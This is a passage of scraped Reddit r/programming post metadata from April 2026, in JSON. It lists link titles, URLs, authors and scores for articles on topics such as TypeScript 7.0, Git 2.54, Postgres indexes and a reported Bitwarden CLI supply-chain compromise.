  "url": "https://socket.dev/blog/bitwarden-cli-compromised",
  "permalink": "https://www.reddit.com/r/programming/comments/1stoumz/bitwarden_cli_compromised_in_ongoing_checkmarx/",
  "title": "Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 290,
  "upvoteRatio": 0.98,
  "numComments": 71,
  "createdAt": "2026-04-23T17:08:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://socket.dev/blog/bitwarden-cli-compromised",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1stf10u",
  "url": "https://www.seangoedecke.com/bad-code-at-big-companies/",
  "permalink": "https://www.reddit.com/r/programming/comments/1stf10u/how_good_engineers_write_bad_code_at_big_companies/",
  "title": "How good engineers write bad code at big companies",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 876,
  "upvoteRatio": 0.95,
  "numComments": 154,
  "createdAt": "2026-04-23T10:38:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.seangoedecke.com/bad-code-at-big-companies/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1st15gc",
  "url": "https://rbtms.github.io/blog/gemini_map.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1st15gc/building_a_map_of_the_gemininet/",
  "title": "Building a map of the GeminiNet",
  "body": null,
  "author": "Strong_Fig5979",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 6,
  "createdAt": "2026-04-22T22:57:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rbtms.github.io/blog/gemini_map.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ssmit5",
  "url": "https://allthingssmitty.com/2026/04/20/why-i-dont-chain-everything-in-javascript-anymore/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ssmit5/why_i_dont_chain_everything_in_javascript_anymore/",
  "title": "Why I don't chain everything in JavaScript anymore",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 20,
  "createdAt": "2026-04-22T14:05:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://allthingssmitty.com/2026/04/20/why-i-dont-chain-everything-in-javascript-anymore/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ssh8e2",
  "url": "http://www.aaronsw.com/weblog/001189",
  "permalink": "https://www.reddit.com/r/programming/comments/1ssh8e2/markdown_aaron_swartz_the_weblog/",
  "title": "Markdown (Aaron Swartz: The Weblog)",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 387,
  "upvoteRatio": 0.92,
  "numComments": 74,
  "createdAt": "2026-04-22T10:12:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.aaronsw.com/weblog/001189",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sry5gh",
  "url": "https://incident.io/blog/bloom-filters",
  "permalink": "https://www.reddit.com/r/programming/comments/1sry5gh/bloom_filters_the_niche_trick_behind_a_16_faster/",
  "title": "Bloom filters: the niche trick behind a 16× faster API | Blog | incident.io",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 376,
  "upvoteRatio": 0.89,
  "numComments": 81,
  "createdAt": "2026-04-21T19:31:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://incident.io/blog/bloom-filters",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1srwby3",
  "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-beta/",
  "permalink": "https://www.reddit.com/r/programming/comments/1srwby3/announcing_typescript_70_beta/",
  "title": "Announcing TypeScript 7.0 Beta",
  "body": null,
  "author": "DanielRosenwasser",
  "subreddit": "programming",
  "score": 309,
  "upvoteRatio": 0.95,
  "numComments": 113,
  "createdAt": "2026-04-21T18:28:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-beta/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1srhttc",
  "url": "https://github.blog/open-source/git/highlights-from-git-2-54/",
  "permalink": "https://www.reddit.com/r/programming/comments/1srhttc/highlights_from_git_254/",
  "title": "Highlights from Git 2.54",
  "body": null,
  "author": "Skaarj",
  "subreddit": "programming",
  "score": 273,
  "upvoteRatio": 0.95,
  "numComments": 45,
  "createdAt": "2026-04-21T08:41:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/open-source/git/highlights-from-git-2-54/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1srh0pb",
  "url": "https://www.linkedin.com/pulse/javafying-infrastructure-why-mediocrity-rules-paranaliyanage-kxdpe/",
  "permalink": "https://www.reddit.com/r/programming/comments/1srh0pb/javafying_the_infrastructure_or_why_mediocrity/",
  "title": "Java'fying the infrastructure or why mediocrity rules the enterprise",
  "body": null,
  "author": "WifeEyedFascination",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 2,
  "createdAt": "2026-04-21T07:52:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.linkedin.com/pulse/javafying-infrastructure-why-mediocrity-rules-paranaliyanage-kxdpe/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1srdqj8",
  "url": "https://sushantdhiman.dev/how-computers-work-explained-from/",
  "permalink": "https://www.reddit.com/r/programming/comments/1srdqj8/how_computers_work_explained_from_first_principles/",
  "title": "How Computers Work: Explained from First Principles",
  "body": null,
  "author": "Sushant098123",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 5,
  "createdAt": "2026-04-21T04:49:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sushantdhiman.dev/how-computers-work-explained-from/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sqwm1a",
  "url": "https://youtu.be/Qmds7-mwCMg",
  "permalink": "https://www.reddit.com/r/programming/comments/1sqwm1a/streaming_my_hard_drive_to_the_world/",
  "title": "Streaming My Hard Drive to the World",
  "body": null,
  "author": "PulseBeat_02",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.6,
  "numComments": 19,
  "createdAt": "2026-04-20T17:45:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Qmds7-mwCMg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sqrv8p",
  "url": "https://perthirtysix.com/how-the-heck-does-shazam-work",
  "permalink": "https://www.reddit.com/r/programming/comments/1sqrv8p/an_interactive_explainer_of_how_audio/",
  "title": "An interactive explainer of how audio fingerprinting lets Shazam identify a song in seconds",
  "body": null,
  "author": "Shriracha",
  "subreddit": "programming",
  "score": 539,
  "upvoteRatio": 0.98,
  "numComments": 26,
  "createdAt": "2026-04-20T15:00:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://perthirtysix.com/how-the-heck-does-shazam-work",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sqqs51",
  "url": "https://programmers.fyi/the-power-of-the-pointer-how-memory-management-is-still-relevant-today",
  "permalink": "https://www.reddit.com/r/programming/comments/1sqqs51/the_power_of_the_pointer_how_memory_management_is/",
  "title": "The Power of the Pointer: How Memory Management Is Still Relevant Today",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.61,
  "numComments": 3,
  "createdAt": "2026-04-20T14:21:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/the-power-of-the-pointer-how-memory-management-is-still-relevant-today",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1spwmis",
  "url": "https://blog.frankel.ch/illegal-state-unrepresentable/",
  "permalink": "https://www.reddit.com/r/programming/comments/1spwmis/making_illegal_state_unrepresentable/",
  "title": "Making illegal state unrepresentable",
  "body": null,
  "author": "nfrankel",
  "subreddit": "programming",
  "score": 283,
  "upvoteRatio": 0.91,
  "numComments": 82,
  "createdAt": "2026-04-19T15:49:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.frankel.ch/illegal-state-unrepresentable/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1spwg4r",
  "url": "https://vercel.com/kb/bulletin/vercel-april-2026-security-incident",
  "permalink": "https://www.reddit.com/r/programming/comments/1spwg4r/vercel_reportedly_breached_by_shinyhunters_non/",
  "title": "Vercel reportedly breached by ShinyHunters, non sensitive secrets at risk",
  "body": "https://x.com/DiffeKey/status/2045813085408051670",
  "author": "arduinoRPi4",
  "subreddit": "programming",
  "score": 306,
  "upvoteRatio": 0.96,
  "numComments": 75,
  "createdAt": "2026-04-19T15:43:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vercel.com/kb/bulletin/vercel-april-2026-security-incident",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1spr96s",
  "url": "https://easylang.online/blog/threaded_sorting",
  "permalink": "https://www.reddit.com/r/programming/comments/1spr96s/a_multithreaded_branchless_quicksort_in_c/",
  "title": "A Multi‑Threaded Branchless Quicksort in C",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.61,
  "numComments": 10,
  "createdAt": "2026-04-19T12:10:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://easylang.online/blog/threaded_sorting",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1spnfdb",
  "url": "https://youtu.be/Y24vK_QDLFg",
  "permalink": "https://www.reddit.com/r/programming/comments/1spnfdb/clojure_the_documentary/",
  "title": "Clojure: The Documentary",
  "body": null,
  "author": "roman01la",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 9,
  "createdAt": "2026-04-19T08:37:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Y24vK_QDLFg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1spkuzl",
  "url": "https://github.com/coremaze/ME2-Writeup/blob/master/README.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1spkuzl/reconstructing_a_dead_usb_protocol_from_unknown/",
  "title": "Reconstructing a Dead USB protocol: From Unknown Chip to Working Implementation",
  "body": null,
  "author": "Bawoosette",
  "subreddit": "programming",
  "score": 269,
  "upvoteRatio": 0.99,
  "numComments": 30,
  "createdAt": "2026-04-19T06:11:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/coremaze/ME2-Writeup/blob/master/README.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sojxct",
  "url": "https://medv.io/blog/things-i-dont-like-in-configuration-languages",
  "permalink": "https://www.reddit.com/r/programming/comments/1sojxct/things_i_dont_like_in_configuration_languages/",
  "title": "Things I Don't Like in Configuration Languages",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 23,
  "createdAt": "2026-04-18T01:32:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medv.io/blog/things-i-dont-like-in-configuration-languages",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1soazcx",
  "url": "https://fagnerbrack.com/the-danger-of-modern-open-source-c15dd5206346",
  "permalink": "https://www.reddit.com/r/programming/comments/1soazcx/the_danger_of_modern_open_source/",
  "title": "The Danger of \"Modern\" Open Source",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 238,
  "upvoteRatio": 0.86,
  "numComments": 106,
  "createdAt": "2026-04-17T19:28:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/the-danger-of-modern-open-source-c15dd5206346",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1so5v1b",
  "url": "https://youtu.be/Z9hc3S3pzG8",
  "permalink": "https://www.reddit.com/r/programming/comments/1so5v1b/explaining_lifetimes_in_rustlang_i_finally/",
  "title": "Explaining Lifetimes in Rustlang. I finally understood it!",
  "body": null,
  "author": "shoebilyas",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-04-17T16:25:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Z9hc3S3pzG8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1snpyq3",
  "url": "https://www.akshayxml.com/blog/python-dict-probing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1snpyq3/the_maths_behind_python_dictionary_probing/",
  "title": "The Maths behind Python Dictionary probing",
  "body": null,
  "author": "BrownieWithIScream",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2026-04-17T03:55:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.akshayxml.com/blog/python-dict-probing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1smyun6",
  "url": "https://efp.asia/blog/2025/12/24/api-tooling-crisis/",
  "permalink": "https://www.reddit.com/r/programming/comments/1smyun6/the_api_tooling_crisis_why_developers_are/",
  "title": "The API Tooling Crisis: Why developers are abandoning Postman and its clones?",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 655,
  "upvoteRatio": 0.94,
  "numComments": 396,
  "createdAt": "2026-04-16T09:47:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://efp.asia/blog/2025/12/24/api-tooling-crisis/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sm5d83",
  "url": "https://jon.chrt.dev/2026/04/15/things-you-didnt-know-about-indexes.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sm5d83/things_you_didnt_know_about_postgres_indexes/",
  "title": "Things you didn't know about (Postgres) indexes",
  "body": null,
  "author": "NotTreeFiddy",
  "subreddit": "programming",
  "score": 298,
  "upvoteRatio": 0.94,
  "numComments": 27,
  "createdAt": "2026-04-15T12:58:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jon.chrt.dev/2026/04/15/things-you-didnt-know-about-indexes.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sm01ev",
  "url": "https://warped3.substack.com/p/direct-win32-api-weird-shaped-windows",
  "permalink": "https://www.reddit.com/r/programming/comments/1sm01ev/direct_win32_api_weirdshaped_windows_and_why_they/",
  "title": "Direct Win32 API, Weird-Shaped Windows, and Why They Mostly Disappeared",
  "body": null,
  "author": "nccwarp9",
  "subreddit": "programming",
  "score": 434,
  "upvoteRatio": 0.95,
  "numComments": 179,
  "createdAt": "2026-04-15T08:28:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://warped3.substack.com/p/direct-win32-api-weird-shaped-windows",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sl95v7",
  "url": "https://medium.com/@borlidoadrian/design-system-documentation-that-works-f373bb7fb29b",
  "permalink": "https://www.reddit.com/r/programming/comments/1sl95v7/we_built_a_design_system_then_everyone_rebuilt_it/",
  "title": "We Built a Design System. Then Everyone Rebuilt It From Scratch.",
  "body": null,
  "author": "Adrianchos",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 13,
  "createdAt": "2026-04-14T13:44:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@borlidoadrian/design-system-documentation-that-works-f373bb7fb29b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sl5h3v",
  "url": "https://devblogs.microsoft.com/oldnewthing/20260413-00/?p=112227",
  "permalink": "https://www.reddit.com/r/programming/comments/1sl5h3v/finding_a_duplicated_item_in_an_array_of_n/",
  "title": "Finding a duplicated item in an array of N integers in the range 1 to N − 1",
  "body": null,
  "author": "sweetno",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.92,
  "numComments": 93,
  "createdAt": "2026-04-14T11:05:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/oldnewthing/20260413-00/?p=112227",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sl4erj",
  "url": "https://github.github.com/gh-stack/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sl4erj/github_stacked_prs/",
  "title": "GitHub Stacked PRs",
  "body": null,
  "author": "adam-dabrowski",
  "subreddit": "programming",
  "score": 553,
  "upvoteRatio": 0.97,
  "numComments": 271,
  "createdAt": "2026-04-14T10:10:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.github.com/gh-stack/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sk9bhg",
  "url": "https://foon.uk/blackshift-sand-bug/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sk9bhg/i_learned_something_about_gpus_today/",
  "title": "I learned something about GPUs today",
  "body": null,
  "author": "rogual",
  "subreddit": "programming",
  "score": 370,
  "upvoteRatio": 0.93,
  "numComments": 58,
  "createdAt": "2026-04-13T12:26:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://foon.uk/blackshift-sand-bug/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sk962j",
  "url": "https://www.juxt.pro/blog/a-bug-on-the-dark-side-of-the-moon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sk962j/a_bug_on_the_dark_side_of_the_moon/",
  "title": "A bug on the dark side of the Moon",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.62,
  "numComments": 5,
  "createdAt": "2026-04-13T12:20:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.juxt.pro/blog/a-bug-on-the-dark-side-of-the-moon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sjo52g",
  "url": "https://mdodis.substack.com/p/smooth-brained-undo?r=6bskrl",
  "permalink": "https://www.reddit.com/r/programming/comments/1sjo52g/smooth_brained_undo/",
  "title": "Smooth Brained Undo",
  "body": null,
  "author": "catgrammer",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.56,
  "numComments": 2,
  "createdAt": "2026-04-12T19:33:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mdodis.substack.com/p/smooth-brained-undo?r=6bskrl",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sjh53k",
  "url": "https://purplesyringa.moe/blog/no-one-owes-you-supply-chain-security/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sjh53k/no_one_owes_you_supplychain_security/",
  "title": "No one owes you supply-chain security",
  "body": null,
  "author": "Expurple",
  "subreddit": "programming",
  "score": 61,
  "upvoteRatio": 0.67,
  "numComments": 38,
  "createdAt": "2026-04-12T15:12:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://purplesyringa.moe/blog/no-one-owes-you-supply-chain-security/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sjcdya",
  "url": "https://sushantdhiman.dev/things-i-miss-about-spring-boot-after-switching-to-go/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sjcdya/things_i_miss_about_spring_boot_after_switching/",
  "title": "Things I miss about Spring Boot after switching to Go",
  "body": null,
  "author": "Sushant098123",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 32,
  "createdAt": "2026-04-12T11:48:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sushantdhiman.dev/things-i-miss-about-spring-boot-after-switching-to-go/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sipvi3",
  "url": "https://www.daemonology.net/blog/2026-04-11-20-years-on-AWS-and-never-not-my-job.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1sipvi3/20_years_on_aws_and_never_not_my_job/",
  "title": "20 Years on AWS and Never Not My Job",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 462,
  "upvoteRatio": 0.94,
  "numComments": 73,
  "createdAt": "2026-04-11T17:52:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.daemonology.net/blog/2026-04-11-20-years-on-AWS-and-never-not-my-job.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1si4gj5",
  "url": "https://talkingpostgres.com/episodes/how-i-went-from-oracle-to-postgres-with-a-big-nosql-detour-with-gwen-shapira",
  "permalink": "https://www.reddit.com/r/programming/comments/1si4gj5/how_i_went_from_oracle_to_postgres_with_a_big/",
  "title": "How I went from Oracle to Postgres (with a big NoSQL detour) with podcast guest Gwen Shapira",
  "body": null,
  "author": "clairegiordano",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 0,
  "createdAt": "2026-04-11T00:44:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://talkingpostgres.com/episodes/how-i-went-from-oracle-to-postgres-with-a-big-nosql-detour-with-gwen-shapira",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1shroof",
  "url": "https://glinr.hashnode.dev/parsing-11-languages-in-pure-go-without-cgo-how-i-replaced-regex-with-a-tree-sitter-runtime",
  "permalink": "https://www.reddit.com/r/programming/comments/1shroof/parsing_11_languages_in_pure_go_without_cgo/",
  "title": "Parsing 11 languages in pure Go without CGO: replacing regex with a tree-sitter runtime",
  "body": null,
  "author": "Familiar-Classroom47",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.68,
  "numComments": 18,
  "createdAt": "2026-04-10T16:34:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://glinr.hashnode.dev/parsing-11-languages-in-pure-go-without-cgo-how-i-replaced-regex-with-a-tree-sitter-runtime",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sgzwez",
  "url": "https://shatteredsilicon.net/the-aws-lambda-kiss-of-death/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sgzwez/the_aws_lambda_kiss_of_death/",
  "title": "The AWS Lambda 'Kiss of Death'",
  "body": null,
  "author": "tkyjonathan",
  "subreddit": "programming",
  "score": 349,
  "upvoteRatio": 0.93,
  "numComments": 69,
  "createdAt": "2026-04-09T19:37:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shatteredsilicon.net/the-aws-lambda-kiss-of-death/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sgtkdf",
  "url": "https://www.youtube.com/watch?v=KKbgulTp3FE",
  "permalink": "https://www.reddit.com/r/programming/comments/1sgtkdf/tailslayer_a_hedged_reads_solution_for_dram/",
  "title": "Tailslayer: a hedged reads solution for DRAM refresh latency",
  "body": null,
  "author": "mennydrives",
  "subreddit": "programming",
  "score": 276,
  "upvoteRatio": 0.9,
  "numComments": 97,
  "createdAt": "2026-04-09T15:53:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=KKbgulTp3FE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1sgpy96",
  "url": "https://allvpv.org/haotic-journey-through-envvars/",
  "permalink": "https://www.reddit.com/r/programming/comments/1sgpy96/environment_variables_are_a_legacy_mess_lets_dive/",
  "title": "Environment variables are a legacy mess: Let's dive deep into them",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 40,
